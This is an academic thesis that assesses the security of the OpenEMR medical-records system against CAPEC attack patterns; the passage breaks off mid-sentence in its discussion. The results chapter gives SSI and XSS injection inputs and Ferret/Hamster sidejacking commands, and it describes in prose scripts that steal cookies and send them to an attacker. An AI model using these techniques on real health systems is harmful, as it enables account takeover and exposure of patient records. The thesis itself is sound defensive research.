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Abstract 
Attack patterns describe the common methods of exploiting software. Good software 
engineering practices and principles alone are not enough to produce secure software. It is also 
important to know how software it attacked and to guard against it. Knowledge of attack patterns 
provides a good perspective of an attacker, thus enabling developers and testers to build secure 
software. CAPEC list is a taxonomy of attack patterns which we believe can enhance security 
testing. This research seeks to assess the security posture of OpenEMR 4.1.1,  an open source 
Electronic Medical Record (EMR) system, based on CAPEC attack patterns.  
Five categories of CAPEC attack patterns were analyzed to find their relevance and 
applicability to OpenEMR. Whereas inapplicable attack patterns were not further considered, 
applicable attack patterns were further tested to assess OpenEMR vulnerability to them. Various 
security testing tools were used to carry out the tests. Attack patterns helped to focus black-box 
and white-box testing procedures on what and where to test. OpenEMR was found to be 
vulnerable to a number of vulnerabilities such as cross site scripting, authentication bypass, 
session sidejacking, among others. A number of exploitations were carried out based on the 
vulnerabilities discovered.  
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CHAPTER 1 
Introduction 
Good software engineering principles and practices alone are not enough to produce 
secure software. Among other things that need to be considered in achieving that is to know the 
mind of the attacker. In other words, it is indispensable to know the perspective of the attacker as 
well as the approaches taken by him to exploit software (Barnum & Sethi, 2007) 
Attack patterns describe the common methods of exploiting software. They assist in 
knowing the perspective of the attacker as well as giving mitigation guidelines. The knowledge 
of the mind of the attacker helps software developers and testers alike to produce secure 
software.  
Common Attack Pattern Enumeration and Classification (CAPEC) is a sponsored project 
by the United States Department of Homeland as part of the Software Assurance (SwA) strategic 
initiative of the National Cyber Security Division (NCSD). Leadership is provided by Cigital  
(MITRE, 2012). The aim of the project is to provide a publicly available catalog of attack 
patterns along with a comprehensive schema and classification taxonomy. Since its release in 
2007 the list continually evolves with public participation and contributions. This provides a 
standard mechanism for identifying, collecting, refining and sharing attack patterns among the 
cyber security community (MITRE, 2012). The CAPEC list numbers a little over 400 at the time 
of this writing.  
The goal of this research is to explore how to use attack pattern taxonomies such as 
CAPEC in security testing, and how to develop test cases based on attack patterns. We conduct a 
case study by assessing the security vulnerabilities of the certified OpenEMR 4.1.1 using the 
testing method based on attack patterns.  
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The Health Information Technology for Economic and Clinical Health (HITECH) of 
2009, part of the American Recovery and Reinvestment Act of 2009 (ARRA) requires all 
healthcare organizations to adopt and demonstrate meaningful use of certified Electronic 
Medical Record (EMR) by the year 2014 (HHS, 2009). EMR is a computerized official health 
record for an individual usually shared among multiple facilities and agencies.  A number of 
EMR products have since been released with some being proprietary/commercial and others 
open source. Some commercial products include MediTouch, Kareo, Waiting Room, Vitera 
Intergy, Medios EHR, ECLIPSE among others. Open source products include openEHR, 
openMRS, Mirth, Hospital OS and more.  
OpenEMR is one of the widely used EMR system with well over 3000 downloads per 
month. It is written in PHP and licensed under the GNU General Public License (GPL). 
OpenEMR obtained full Meaningful Use (MU) certification for ambulatory care on August 19, 
2011. Thus, OpenEMR is a certified electronic health record and medical practice 
application.(OpenHealth, 2011) 
 This research carries out both code analysis and black-box test on OpenEMR based on 
CAPEC attack patterns. Five categories of the attack pattern taxonomy have been considered. 
Each attack pattern within the scope is carefully analyzed to determine their applicability or 
inapplicability to OpenEMR. Test cases are developed for attack patterns found to be applicable 
to determine if OpenEMR is vulnerable or not. In the end, these vulnerabilities were exploited by 
combining the attack patterns that the application is vulnerable, 
This research contributes to the field of software security testing by expounding the 
benefits of using attack patterns in testing. It was found out that these attack patterns help to hone 
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both black-box and white-box testing resources to achieve the maximum security possible. 
Literature review indicates even though the CAPEC List keeps growing, the testing community 
is not making the maximum use of it. Moreover, the test results obtained can be used to make the 
widely used Electronic Medical Record system OpenEMR better in terms of security. 
This thesis is organized as follows. Chapter 2 provides a literature review on research 
carried on OpenEMR and attack patterns. Chapter 3 details the methodology used in this 
research. The results obtained in carrying out the various security tests are outlined in chapter 5. 
Finally, chapter 6 discusses the findings as well as some observations. Further research concerns 
are also raised in this chapter.  
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CHAPTER 2 
Literature Review 
This Chapter provides literature review on research on attack patterns and the security 
assessment of OpenEMR. 
2.1 Literature on Attack Patterns 
Although attack pattern is a relatively new concept, it has received some research 
attention (Moore, Ellison, & Linger, 2001). A few of such researches are discussed here. 
In their book, Exploiting Software, Hoglund and McGraw (2004), writes about attack 
pattern and its role in building secure software. A taxonomy of attack patterns was described. 
Obviously, this was released before the CAPEC List. The taxonomy contained forty-nine attack 
patterns. 
Also before the release of CAPEC List in 2007, Gegick and Williams (2005) constructed 
attack patterns that could illuminate security vulnerabilities in a software-intensive system 
design. They postulated that the matching of their attack patterns to vulnerabilities in the design 
phase could stimulate security efforts to begin early as well as become a part of the software 
process. Further, their attack pattern was intended to effectively codify software vulnerabilities in 
vulnerability database. Unlike CAPEC List, Gegick and Williams’ attack patterns provided no 
mitigation measures. The patterns described the components and events of a software that are 
usually involved with the manipulation of common vulnerabilities. 244 previously-reported 
vulnerabilities from four vulnerability databases were examined after which descriptions of 
vulnerabilities were abstracted into regular expressions as a general expression of an attack. A 
case study with undergraduate students in a security course indicated the attack patterns provided 
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general descriptions of vulnerabilities. Students were asked to match attack patterns to a given 
system design and they accurately did so. 
Attack patterns can be applied in every phase of the software development process. 
Barnum and Sethi (2007) explains how that works. They also provide an in-depth background of 
CAPEC attack patterns as well as its structure. The paper provides details on how CAPEC attack 
patterns are generated. Vivid examples are used to explain the concept of attack patterns and 
their usage. The authors are members of staff of Cigital. Cigital has provided leadership in the 
CAPEC project. 
Giving regard to the vast amount of information in attack pattern repositories such as 
CAPEC List, Pauli and Engebretson (2008a) proposed a hierarchy-driven approach to enhance 
student learning or teaching as a whole. Students were taught the concept of hierarchy model 
outside the realm of attack patterns,  then the students were asked to apply the knowledge 
acquired to CAPEC List Release 1. Using a top-down approach, the most general element was 
placed at the top and more specific ones at the subsequent hierarch levels. The six-leveled 
hierarchy model had vulnerabilities placed at the highest level of abstraction to effectively group 
attack patterns in understandable contexts for students. Attack pattern, exploits, activation zone, 
injection vector and reward occupied levels two through six respectively.  
Pauli and Engebretson (2008b) later proposed the characteristics of a software tool that 
leveraged the specification of attack pattern details in understandable hierarchies. The tool 
automates the populating of attack trees for the benefit of security centric design decisions. Also, 
built-in mappings are included for well-established design configurations, however, a means of 
adding custom design configurations is provided. The mappings were derived from CAPEC 
repository with the prerequisite of the attack patterns serving as the input to the tool. 
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Prerequisites include hardware, operating system, server configuration and programming 
language. The tool processes the input by extracting, organizing and editing the data mappings. 
As an output, system-specific prerequisites, related attack patterns and necessary mitigation 
strategies are displayed in a hierarchical format graphically. The output can also be viewed in a 
tabular form as an alternative. 
2.2 Security Assessment of OpenEMR 
In a study to improve the security assessment within EHR system certification process, 
Smith et al. (2010) empirically assessed the ability of the then CCHIT security criteria to detect a 
range of vulnerabilities. OpenEMR and ProprietaryMed EHR systems were used. Both systems 
were seeking certification at that time. Their exploratory security analysis approach focused on 
the misuse cases of the Certification Commission for Health Information Technology (CCHIT) 
criteria. Firebug and WebScarab were used to aid the research. Implementation and design flaws 
were discovered in the test applications. Most of these vulnerabilities would have gone unnoticed 
by the test scripts of CCHIT causing ominous consequences to patient privacy and life-critical 
patient care. It was suggested that test scripts encompass a set of misuse cases that models the 
attacker’s behavior. It was also recommended that test scripts should carry out exploits that 
exposes implementation bugs of EHR applications seeking certification.  
Furthermore, in a related research, researchers illustrated the importance of requiring 
misuse cases in certification standards, such as CCHIT by also demonstrating the 
implementation bugs in OpenEMR. Automated static analysis with Fortifiy 360, a security-
focused static analysis tool was used to scan for vulnerabilities. After researchers reached a 
consensus on the true positives, results were compared with CCHIT test scripts to ascertain if 
vulnerability would have escaped detection. Similarly, IBM’s Rational AppScan was used for 
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carrying out penetration tests. It was discovered that many of the errors found are disregarded in 
the existing CCHIT criteria and test scripts.(Andrew Austin, Smith, & Williams, 2010) 
Noll and Liu (2010) studied OpenEMR with the goal of understanding how requirements 
are elicited, documented, agreed and validated. It was identified that the majority of features are 
asserted by developers, based on either their personal experience or knowledge of user need. 
Relatively few were requested directly by users. Validation and documentation took the form of 
informal discussions via the project’s developer mailing lists. None were influenced by 
competing products.  
In a study to improve vulnerability detection, Austin and Williams (2011) compared the 
effectiveness of vulnerability detection using  Tolven Electronic Clinician Health Record 
(eCHR) and OpenEMR as case studies. The techniques used and compared were systematic and 
exploratory manual penetration testing, static analysis and automated penetration testing. It was 
discovered that no single technique is enough for the discovery of every type of vulnerability. 
Systematic manual penetration testing was found to discover the most design flaws. In this test, 
researchers generated test cases from the functional requirements of the test EHRs. Most 
implementation bugs were on the other hand detected by static analysis. 
Moreover, with regard to access controls of EHR systems, Helms and Williams (2011) 
assessed the state of practice in four open source EHR systems including OpenEMR. Once again, 
OpenEMR was still seeking certification.  Researchers established a set of assessment criteria to 
evaluate the degree to which the evaluated EHR’s access controls address HIPAA regulations, 
meaningful use as defined by NIST, CCHIT, NIST RBAC standards and best practices that were 
taken from literature. It was concluded that the evaluated systems do not implement robust 
access control mechanisms for the sufficient protection of patient data. openEMR failed tests 
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against HIPAA’s emergency access procedures, NIST’s MU Emergency access 
roles/permissions and emergency role activation, NIST’s BP separation of duty and two other 
criteria. 
Lastly, King, Smith, and Williams (2012) assessed EHR audit mechanisms to determine 
the current degree of auditing for non-repudiation and to assess whether audit guidelines 
adequately address non-repudiation. Sixteen general auditable event types relating to non-
repudiation were derived. Three open source EHR systems including OpenEMR were 
quantitatively assessed if they logged any of the derived auditable event types. Findings indicate 
evaluated systems do not implement audit mechanisms properly. Thus these EHR remain 
vulnerable to undetected misuse, both malicious and accidental. 
In the above research, the versions of OPEMR which were not certified by CCHIT were 
evaluated. In this research, OpenEMR4.1.1 which has been certified by CCHIT was assessed 
regarding its security posture. The security testing approach used here is based on attack patterns, 
which is different from the above previous work. 
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CHAPTER 3 
Research Methodology 
3.1 Testing With CAPEC Entries 
As seen in previous chapter, all the studies were carried out before OpenEMR obtained 
certification. This research assessed security vulnerability of the certified OpenEMR 4.1.1. Also, 
different from methodologies used in studies discussed in previous chapter, test cases were 
developed from the CAPEC entries. Since OpenEMR is an open source application we have 
access to source code. Therefore, grey-box testing procedures were used for the research. In 
other words, a combination of black-box and code analysis procedures was used in the research. 
The CAPEC entries are grouped into twelve categories based on the method of attack. 
The attack patterns of a category form a hierarchical/tree structure. Some attack patterns have 
child attack patterns forming parent-child relationships. The main categories include: 
1. Data Leakage Attacks 
2. Resource Depletion 
3. Injection 
4. Spoofing 
5. Time and State Attacks 
6. Abuse of Functionality 
7. Probabilistic Techniques 
8. Exploitation of Authentication 
9. Exploitation of Privilege/Trust 
10. Data Structure Attacks 
11. Resource Manipulation 
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12. Physical Security Attacks 
Other attack patterns that do not fall under any of the methods of attack above are: 
1. Network Reconnaissance 
2. Social Engineering Attacks 
3. Supply Chain Attacks 
Due to the large number of entries of the library (i.e. over 450) and time constraints, a 
few categories were considered. Data Leakage Attacks, Resource Depletion, Injection, 
Exploitation of Authentication and Exploitation of Privilege/Trust categories were considered. 
Each category is made up of a varied number of attack patterns. Each was carefully analyzed to 
find its relevance and applicability to OpenEMR. Black-box and/or white-box testing were 
carried out on OpenEMR to assess its vulnerability to the applicable attack patterns. 
3.2 Lab Setup 
A small network consisting of two computers and a network switch was used for the 
research. One computer, running Windows XP, had the server side of OpenEMR architecture 
installed. XAMP v1.8.1, a free software was used to install Apache v2.4.3, MySQL v5.5.27 and 
PHP v5.4.7 on the computer playing the role of a server. OpenEMR was then installed following 
the instructions from wiki page. It was configured to use both HTTP and HTTPS protocols. The 
other computer was used for the remote access of OpenEMR. It runs Microsoft Windows 7. 
Figure 1 shows the lab setup. Microsoft Expressions Web v4 was also installed on the server PC 
to analyze the source code which includes PHP, JavaScript, AJAX, HTML and JQuery. 
PhpMyAdmin v3.5.2.2 was used for viewing database structure and content. OpenEMR software 
was run using Google Chrome, Firefox and Internet Explorer. 
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Figure 1. Lab setup for research. 
Aside from the administrator account, user accounts were created for the physician 
clinician, and front-desk roles. Each of these accounts has different privileges and rights.  
3.3 Tools 
Further, intercepting proxy tools and intercepting browser plug-in such as WebScarab 
and LiveHTTPHeader respectively were used in this research. WebScarab was used as a web 
proxy to intercept HTTP requests and responses. Spidering was carried out for most of the tests 
and WebScarab’s spider feature was used. HttpLiveRequest is Firefox add-on for viewing the 
HTTP requests and responses. It helped in knowing the content of requests sent and responses 
received from server. LiveHTTP was also used to replay requests. 
Moreover, for session related attacks network sniffing tool, cookie editors and session 
sidejacking tools were employed. Wireshark and Cain and Abel were used to sniff network as 
well as to capture network packets. Ferret and Hamster is a session sidejacking tool with passive 
network sniffing ability. Ferret is used to ferret out cookies from network packet capture. 
Hamster is used to hijack another users session. Google Chrome’s extension, Cookie Editor, was 
used to modify cookies in order to impersonate other users.  
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CHAPTER 4 
Results 
This chapter describes the results that were obtained in carrying out various black-box 
and code analysis tests on OpenEMR. Attack patterns in the CAPEC List guided the focus of 
these tests. 
4.1 Attack Surfaces   
For most injection attacks and other attack patterns, it is important to find attack surfaces 
or input fields that are not filtered, sanitized or do not carry out validation checks. A number of 
these fields were found to be present in OpenEMR and were thus used for most of the Injection 
attack pattern tests. These were discovered through black-box testing by submitting characters 
that aid injection attacks such as <, >, /, ;,’, etc. Below is a list of OpenEMR input fields that 
accept user data without any checks.  
 Add Medication Page: Title, Referred By, Destination fields 
 Allergies Page: Title, Reaction and Referred By 
 Medical Problems Page: Title, Referred By and Destination 
 Appointment Page: Title 
 Demographics Page: (Under the Primary Insurance)-Plan Name, Policy, Number, Group 
Number, Subscriber, Employer, Subscriber Address and Subscriber Employer City. 
(Under Contact)- All fields are not sanitized, filtered or validated. 
 Prescription: Drug, Quantity, Notes 
 Patient History: All input fields 
 Document: there is no file type restriction on what can be uploaded. Any type of file can 
be uploaded. However, a restriction has been placed on file size. 
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It must be noted that even though some script did not execute on the pages where they were 
injected, they got executed later when the data was loaded in other pages such as loading a report 
or printing a form e.g. referral form. 
4.2 Data Leakage Attacks Category 
 These are attacks whereby the attacker probes an application, service or device such that 
it discloses sensitive information. Usually, the attacker exploits weakness in the configuration or 
design of the target. Although the information divulged by the application may be the end goal of 
the attacker, normally, it is carried out in preparation of further attack. The following attack 
patterns were considered. 
4.2.1 Data interception attacks. In this attack pattern, the attacker monitors data streams 
moving to or from the target with the aim of gathering information. Since OpenEMR allows the 
transmission of information over a network, if HTTP is used for data transmission, then this 
pattern is applicable. As a test case, Wireshark was used to sniff the network. A lot of sensitive 
data such as passwords and session IDs were gathered since our configuration for OpenEMR 
uses HTTP instead of a secure channel such as HTTPS. Thus an attacker can always exploit this 
weakness in configuration to discover sensitive information as an end goal or for further exploits. 
4.2.2 Sniffing attacks. This pattern is a child of the previous attack pattern. Hence, there 
are a lot of similarities. It must only be underscored here that attacker need not prevent reception 
or change the content of the traffic. He simply must be able to read and observe traffic. Like the 
previous attack pattern, Wireshark can be used for this test or attack if HTTP is used. 
4.2.3 Sniffing information sent over public/multicast networks. This pattern is also a 
child of attack pattern discussed in 4.2.2. This involves the use of public/multicast network. This 
pattern was considered because OpenEMR can be deployed such that patient can access certain 
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information online. Companies providing certain services may also access OpenEMR from their 
remote offices. Given the limitation of our lab setup, no test was carried out even though it is 
applicable. 
4.2.4 Passively sniff and capture application code bound for authorized client. 
Application code bound for the client is captured in this pattern. The captured code can be used 
by the attacker by reverse engineering to extract sensitive information or for the exploitation of 
trust relationship established between the client and the server. Testing this in our OpenEMR lab, 
Cain and Abel was used to execute a man-in-the-middle attack. Wireshark was once again 
employed to sniff and capture data packets. This is only applicable when HTTP is used. 
Although this attack pattern is more applicable to commercial software packages it still holds for 
open source applications. Assume a health care organization using OpenEMR that makes 
changes to the code and wants to deploy to other servers. If an attacker is able to sniff the 
network to know the content of the new code, the process of attacking becomes easier.  
4.2.5 Passively sniff and capture application code bound for authorized client during 
dynamic update. In the hierarchical/tree relationship, this pattern is a sibling of 4.2.4. The data 
captured here is dynamic update. Hence, here the attacker’s job is to sniff the network to know 
the content of the updates that are being sent across the network. Once again, this pattern is 
inapplicable in setups where HTTPS is used. 
4.2.6 Passively sniff and capture application code bound for authorized client during 
dynamic patching. In the hierarchical/tree relationship, this pattern is a sibling of 4.2.4. The 
data captured here is a software patch. This attack pattern does not apply where HTTPS is used. 
4.2.7 Passively sniff and capture application code bound for authorized client during 
initial distribution. In the hierarchical/tree relationship, this pattern is a sibling of 4.2.4. 
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Description of this pattern is not given on the website. Therefore it is not considered in this 
research. 
4.2.8 Accessing/Intercepting/Modifying HTTP cookies. Here, the reliance is on the 
storage of credentials, state information and other critical information in HTTP cookies. The 
attacker then looks for these cookies in places that they may be found. Such places include, the 
network, the local filesystem of victim, local memory, the use of cross site scripting and of 
course guessing. An example of Windows local filesystem path is C:\Documents and 
Settings\*\Cookies and C:\Documents and Settings\*\Application 
Data\Mozilla\Firefox\Profiles\*\cookies.txt. With regard to finding the cookie on the network, it 
must be noted that if HTTPS is in use, the cookie will not be found since it will be encrypted. 
The attacker studies the content of the cookies and gleans as much information that can be 
gathered. The intercepted cookie can be used to impersonate other users or modified and sent 
back to server.  
Testing this pattern on OpenEMR, cross site scripting attack was used to steal cookie as 
well as sniffing on the network using Wireshark and Ferret and Hamster. In combination with 
other methods, some exploits were carried out and are described later.  
4.3 Injection Category 
Injection category is made up of attack patterns where an attacker controls or disrupts the 
behavior of an application by submitting a crafted input data. The input data is interpreted by 
target resulting in the performance of steps unintended by developer. The sections below discuss 
attack patterns that fall under the Injection category of attack patterns. 
4.3.1 Server side include (SSI) injection. It is an attack pattern under the Injection 
category. SSI directives are sent to a target application and they are executed by the web server. 
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OpenEMR was probed to assess its susceptibility to this pattern. It must be underscored that this 
attack can only take place if SSI is enabled on the web server. OpenEMR installation by default 
has SSI disabled on the Apache web server. However to allow the tests to be carried out, the 
setting was reversed. The SSI <!--#echo var = “DATE_LOCAL” --> was submitted in the drug 
field of the Add Prescription page and was executed by the server. Thus, OpenEMR is 
vulnerable to SSI Injection attack if SSI is enabled on the server software i.e. Apache, IIS etc 
4.3.2 HTTP parameter pollution (HPP). It allows an attacker to add or override the 
HTTP GET/POST parameters by injecting string delimiters. A successful attack permits an 
attacker to override existing hardcoded HTTP parameters, bypass input validation checks, 
modify application behaviors, modifying application behaviors, among others. Finding the 
vulnerability, LiveHTTPHeader was used to modify a request that creates patient information in 
the application. Under normal circumstance, OpenEMR does not allow the creation of patient 
without supplying first name, last name, date of birth and gender. However, using the 
intercepting tool, a patient was created defying all the validation rules. This was made possible 
because the HTTP parameters were modified and replayed. 
4.3.3 Cross site scripting through log files. This is the attack pattern whereby scripts are 
inserted into system logs. When an administrator views the logs in the administrative interface 
the injected script gets executed. This usually occurs if the log data is not properly HTML 
encoded before writing to the page.  
Testing this attack pattern on OpenEMR, the script <script>alert(“XSS”); </script> was 
injected in one field  that generates an error and was logged. The log was then viewed using the 
administrator account. The script was executed as the log data loaded in the interface. Thus a 
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malicious script can be injected in OpenEMR and carry an attack on the administrator. For 
instance the administrator’s cookie can be sent to the attacker. 
4.3.4 SQL injection. Here, attacker submits input such that when the target application 
dynamically constructs SQL statement, it performs actions other than intended. In testing if 
OpenEMR is vulnerable, a number of SQL injection attack strings were submitted in the login 
fields. The intent was to get OpenEMR to construct SQL statement that will permit the bypass of 
authentication. After all these manual attempts failed, a number of SQL Injection cheat sheets 
were gathered from the internet to form an attack file. This file was fed into WebScarab’s fuzzer 
to automate the process. OpenEMR defended well against these attacks. 
Hence a review of the code was carried out. OpenEMR has a dedicated PHP file, 
sql.inc.php, that contains classes and functions that it uses to interact with SQL. The following 
specialized functions allow the use of ADOdb binding feature that prevents SQL Injection: 
sqlStatement, sqlStatementNoLog, sqlFetchArray, sqlInsert, sqlQuery, sqlQueryNoLog, 
sqlQueryNoLogIgnoreError, sqlNumRows, sqlQ, idSqlStatement, sqlInsertClean. Apart from 
sqlFetchArray and sqlNumRows, the other functions accept a String variable (representing the 
SQL query) and an optional binded variables array as parameters. sqlFetchArray and 
sqlNumRows have a resource or recordset as a parameter. 
OpenEMR properly escapes the login fields. It sanitizes and filters the input submitted by 
a user. 
4.4 Resource Depletion Category 
This category of attack depletes the resources of the target, usually a server, resulting in 
the denial of one or more services offered by the target. No tests were carried for this attack 
pattern since it is an attack on the server on which OpenEMR runs rather than the OpenEMR 
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application itself. In our lab setup, OpenEMR runs on Apache server, however it can run on IIS 
and other web servers too. Since different servers will behave differently under resource 
depletion attack, this pattern was not further considered. 
4.5 Exploitation of Authentication Category 
In this category, the attacks exploit the weakness, limitations and assumption in the 
mechanisms that are utilized by the target to manage identity and authentication. Some attack 
patterns belonging to this category are discussed in the sections below. 
4.5.1 Authentication bypass. This attack pattern was considered applicable as 
OpenEMR implements an authentication mechanism. Combining other methods of attack such as 
cross site scripting and data leakage attacks this vulnerability was discovered and we were able 
to use the application without ever going through the authentication process. Data leakage 
attacks are not possible where HTTPS is used. 
It must be noted that, attempts to bypass login using SQL injection failed. OpenEMR 
uses ADOdb’s parameterized queries.  
4.5.2 Calling signed code from another language within a sandbox. This was ruled 
not to be applicable to OpenEMR because it does not make use of sandbox. No Runkit_Sandbox 
object was observed to be created by OpenEMR. PHP uses Runkit_Sandbox class to implement 
the concept of sandbox. Runkit_Sandbox creates a new thread that has its own scope and 
program stack. This helps in providing a safe environment for executing code supplied by the 
user. 
4.5.3 Web services API signature forgery leveraging hash function extension 
weakness. Since OpenEMR does not make use of web services, this attack pattern was ruled 
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inapplicable. If this was applicable, an attacker could submit a signed code from another 
language with the intention of escaping the limitations of sandbox. 
4.5.4 Exploitation of session variables, resource IDs and other trusted credentials. 
The prerequisite for this attack pattern is “Server software must rely on weak session IDs proof 
and/or verification schemes”. This pattern led to the study of how OpenEMR generates its 
session IDs, the quality of the IDs generated and attributes set for cookies. 
4.5.4.1 How session IDs are generated. OpenEMR generates a session ID after a 
successful authentication. This session ID is stored in a cookie as can be seen from the code 
snippet in figure 2. Cookie attributes, path and expires, are set on this line of code.   
4.5.4.2 Quality of session IDs generated. The values for cookies used in OpenEMR were 
examined to assess their quality from a security point of view. It is important that cookies exhibit 
the qualities of randomness, uniquessness, resistance to statistical and cryptographic analysis and 
information leakage. Using WebScarab’s SessionID Analysis and Burp Suite’s Sequencer 
features, one thousand (1,000) and twenty thousand (20,000) session IDs were generated in a 
span of two minutes and eleven hours respectively. WebScarab was used to generate the session 
IDs. WebScarab also produced a visualization of the analysis of the generated session IDs. 
Figures 3 and 4 show WebScarab’s visualization of the analysis. The result was exported and 
loaded into Burp Suite for further analysis. Figures 5 and 6 show Burp Suite graph analysis. 
Analysis by these tools indicate that OpenEMR generate session IDs that are fairly random and 
unique thus quite resistant to statistical and cryptograhic analysis as well as prediction attacks. 
The character length of OpenEMR’s session IDs is however short. It uses a length of 26. 
OWASP recommends the length to be at least fifty (OWASP, 2013). Appendix B shows other 
types  of analysis Burp Suite’s Sequencer produced from the twenty thousand session IDs. 
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Figure 2. A line in OpenEMR source code that generates a session ID and store in cookie.  
 
Figure 3. WebScarab’s visualization of 1,000 session IDs generated over a two minute period. 
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Figure 4. WebScarab’s visualization of 20,000 session IDs over time. 
 
Figure 5. Burp Suite’s summary after the analysis of the 1,000 generated session IDs. 
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Figure 6. Burp Suite’s summary after the analysis of the 20,000 generated session IDs. 
4.5.4.3 Attributes of cookies. The configuration of the cookie attributes matters when 
considering security. Some attributes of cookies that were considered in the research were 
Secure, HTTPOnly, domain, path, and expires. In testing for these attributes, a black-box testing 
involving an intercepting proxy (WebScarab) and intercepting browser plug-in 
(LiveHTTPHeaders) were used. All HTTP responses including the set-cookie directive were 
inspected. Reviewing the source code, the following were discovered with regards to the 
attributes that are set for cookies. 
Secure Attribute. OpenEMR does not set the secure attribute for its cookies. This implies 
that the cookie can be sent over both encrypted and unencrypted channels such as HTTPS and  
HTTP respectively. Hence there is the potential of sending the cookie in clear when using HTTP  
making it possible for an attacker to capture the cookie.   
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HTTPOnly Attribute. This attribute is also not set. This attribute ensures that no client-
side script is able to access the cookie, hence, preventing cross site scripting attacks involving 
cookies. It comes as no surprise that OpenEMR is prone to cross site scripting attacks. It must be 
noted however, that this attribute is not supported by all browsers.  
Domain and Path Attribute. Similarly, the domain attribute is not set, as such, the 
hostname of the server that generated the cookie will be assigned by default. In this case 
localhost will be assigned. The Path attribute specifies the URL path for which a cookie is valid. 
OpenEMR sets its value to the web root “/”. Definitely, this is a loose configuration and not 
secure enough since a vulnerable server in the domain can receive the cookies. Setting the value 
of the path attribute to “/” implies OpenEMR cookies can be sent to every application within the 
same domain (localhost in this case).  
Expires Attribute. With regard to expire attribute, OpenEMR sets it to a date in the past 
(See figure 1). Thus the cookie cannot be replayed immediately when the user logs out. 
4.5.5 Session Sidejacking. Session Sidejacking is an attack pattern that can be carried 
out on OpenEMR if wireless traffic is not secure. Session tokens can be captured using network 
sniffer like Ferret and Hamster. These tools were used in this research to capture cookies. 
Wireshark is another network sniffer that could have been used to capture the cookies.  It was 
used to carry out an exploit on OpenEMR. Only works with HTTP 
4.6 Exploitation of the Vulnerabilities 
A number of vulnerabilities were discovered in the tests carried above. Some of these 
vulnerabilities were exploited to simulate a real attack. Below describes an attack on the 
messaging system using Exploitation of Session Variables, Resource IDs and other Trusted 
Credential, Cross Site attack patterns and data leakage attacks. The other attack exploits 
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OpenEMR’s vulnerability based on Exploitation of Session Variables, Resource IDs and other 
Trusted Credential attack pattern. 
4.6.1 Attacking the messaging system - method 1. OpenEMR has a messaging 
functionality that enables users of the system to send messages to each other. Every message 
shows the sender of the message, the patient about whom the message is being sent, type of 
message (lab result, referral, test scheduling, insurance, chart note), the date the message was 
sent and status. Borrowing an idea from SEED Lab (SEED, 2002) , an attack was carried out 
such that an attacker can send messages around impersonating other users. An insider attacker is 
assumed here.  
As a first step, the cookie of the user to be impersonated was stolen using a malicious 
JavaScript that gets the cookie of the user that is logged in. It then creates an HTTP request and 
sends out to the server. The request to the server is to send a message from the user whose cookie 
has been captured to a particular user the attacker chooses. The script was injected in the drug 
field of the Add Prescription page. With the script injected, OpenEMR executes the script 
anytime the page is loaded, thus, sending messages to a particular user while impersonating the 
user whose cookie has been stolen.  Figure 7 shows the script that was injected. The length of the 
drug field in the database structure was smaller than the length of the script. Therefore, using  
 
Figure 7. Script that was injected into the drug field. 
 
27 
 
PHPMyAdmin, the length of the database field was modified to accommodate the script to be 
injected. 
Before the attack could take place the HTTP request for sending a message was captured 
using LiveHTTPHeader with the goal of knowing which data are sent to the server. Figure 8 
shows the HTTP request and response that was captured. From the content of the request, all 
parameters of a message were identified.  
 
Figure 8. LiveHTTPHeader showing request and response of sending message. 
4.6.2 Attacking the messaging system -method 2. Another variant of attack on the 
messaging system was developed, once again taking ideas from the SEED lab (SEED 2002). 
This attack sends a stolen cookie to an attacker who listens on TCP Client/Server program. The 
malicious script tries to load an image from attacker’s IP address. This action also sends the 
victim’s cookie to attacker’s listening program. Figure 8 list the script. Once again having 
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identified the HTTP parameters needed to send a message to the server, a java program was 
written to send out the same HTTP request. A listing of the program is provided in appendix A. 
 
Figure 9. Script for sending cookie to attacker. 
4.6.3 Session Hijacking with Cookie Editor. Google Chrome’s extension Cookie Editor 
was used in this attack. With knowledge of the cookie for an active session, the attacker types in 
the victim’s cookie in the add-on and submits. The attacker immediately gets logged in as the 
victim. The attacker is able to do anything permissible with the stolen account. This attack gets 
more serious if the administrator’s cookie is sent to the attacker. That way, attacker elevates his 
privileges and perform actions hitherto was impossible. It must be noted that attacker gets logged 
out immediately when the victim logs out of his account, thus destroying the cookie. Figure 10 
shows a screenshot of Cookie Editor in use. 
4.6.4 Bypassing authentication. In an attempt to abuse/bypass authentication, a POST 
request of the victim was captured. This request was then later replayed using Firefox LiveHTTP 
extension. Server accepted the request and issued a cookie. Attacker is thus able to perform 
actions just like the victim. Once again if administrator authentication HTTP request is captured, 
obviously, the attacker performs anything imaginable with OpenEMR. Figure 11 shows 
screenshot of the replay attack using LiveHTTP. 
4.6.5 Session sidejacking attack. In this exploitation, wireshark was used to sniff and 
capture packets on the network. A valid user account was used to log into OpenEMR while  
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Figure 10. Using Google Chrome’s Cookie Editor to steal session. 
Wireshark captured packets. After a successful log in, the packet capture was stopped and saved 
as test.pcap. Ferret was run from the command line interface with the command ferret –r 
test.pcap. This command extracted cookies in the capture and stored them in the file hamster.txt. 
Hamster was then started from the command line interface using the command hamster. The 
browser was configured to use hamster as a proxy using port 1234. In the address bar of the 
browser, http://hamster was entered. The URL containing the cookies that were captured are 
displayed on the left side of the browser as shown in figure 12. In this figure, the administrator’s 
session has been sidejacked. 
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Figure 11. Using LiveHTTPHeader to replay request. 
 
Figure 12. Session Hijacking with Ferret and Hamster.  
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CHAPTER 5 
Discussion and Future Research 
Knowledge of attack patterns helps a lot in software security testing. It gives the tester the 
perspective of the attacker and the approach with which software is exploited. In other words, it 
helps to anticipate the threats software is likely to face and thwart expected attacks before 
software is released to the market. It endows the developer and tester with the ability to identify 
and eventually mitigate relevant vulnerabilities embedded in the software.  Attack pattern is thus 
a valuable tool for not just security testing but for designing, developing and deployment of 
secure software as a whole. 
In this research, we have explored how to leverage CAPEC Attack Patterns in both black-
box and white-box testing of OpenEMR. The patterns helped to determine areas where 
OpenEMR could be at risk and that helped to focus the white-box analysis. For instance, attack 
patterns in connection with authentication led to the manual code analysis of login.php, auth.php 
and sql.inc.php. It helped to guide what to look for whilst going through the code. Another 
instance is where session ID attack patterns were considered. It helped to focus on the code that 
generates the IDs as well as to assess the quality of these values.  
In terms of black-box testing, attack patterns were used to create models to create tests to 
be performed by black-box testing tools. It is important to know what must be tested before 
selecting one of the numerous black-box testing tool. Attack patterns helps to decide what must 
be tested making it easier too in selecting a tool. For some patterns, the particular tool for the test 
is even stated. For instance, in one of the data leakage attack patterns, it was indicated that nmap 
could be used for fingerprinting the software being ran by a server, the open and closed ports. 
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OpenEMR was found to be vulnerable to a number of attacks. This comes as a result of 
